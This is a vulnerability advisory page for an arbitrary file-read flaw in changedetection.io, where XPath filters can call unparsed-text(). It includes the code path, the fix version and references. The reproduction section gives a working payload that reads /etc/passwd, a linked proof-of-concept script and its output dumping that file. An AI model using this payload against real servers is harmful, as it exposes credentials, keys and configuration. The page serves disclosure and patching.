changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()
Summary
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The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
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XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.
Data Flow
User Input (include_filters field)
↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
↓
Watch configuration stored in datastore
↓
Scheduled fetch triggers html_tools.py processing
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html_tools.py:xpath_filter() at line 213
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elementpath.select(root, xpath_expression, parser=XPath3Parser)
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XPath 3.0 unparsed-text('file:///etc/passwd') executed
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File contents returned as "filtered content"
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Stored as snapshot, viewable in UIAffected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220
def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
# ...
from elementpath import XPath3Parser # XPath 3.0 with dangerous functions
# ...
r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213Validation (forms.py):
class ValidateCSSJSONXPATHInput:
def __call__(self, form, field):
# Only checks if XPath is syntactically valid
# Does NOT check for dangerous functions like unparsed-text()Details
- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
- Create a new watch with any valid URL (e.g., https://example.com)
- Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:
xpath:unparsed-text('file:///etc/passwd')- Save and trigger a recheck
- View the preview/snapshot - the file contents will be displayed
PoC
python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py
python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd
╔═══════════════════════════════════════════════════════════════╗
║ XPath 3.0 Arbitrary File Read Exploit ║
║ Target: changedetection.io ║
║ Vulnerability: unparsed-text() in XPath filters ║
╚═══════════════════════════════════════════════════════════════╝
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...
[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
============================================================
[*] Cleaning up (deleting watch)...Impact
- Read any file accessible to the application process
- Exfiltrate sensitive configuration files, credentials, API keys
- Read application source code
- Access database files if file-based (SQLite)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | changedetection-io | < 0.54.4 | 0.54.4 |
References
- https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4
- https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p
- https://nvd.nist.gov/vuln/detail/CVE-2026-29039
- https://github.com/dgtlmoon/changedetection.io
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-94- Platform
- Python (PyPI)
- Package
changedetection-io- Disclosed
- 04.03.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2128 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-6fmw-82m7-jq6p - CC BY 4.0
Vulnerability history: changedetection-io
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 02.2023 05.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 9
- Medium 6
- Low 2
- Unrated 1
Disclosures per year
- 2023: 1
- 2024: 6
- 2025: 2
- 2026: 11
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changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text() this entry
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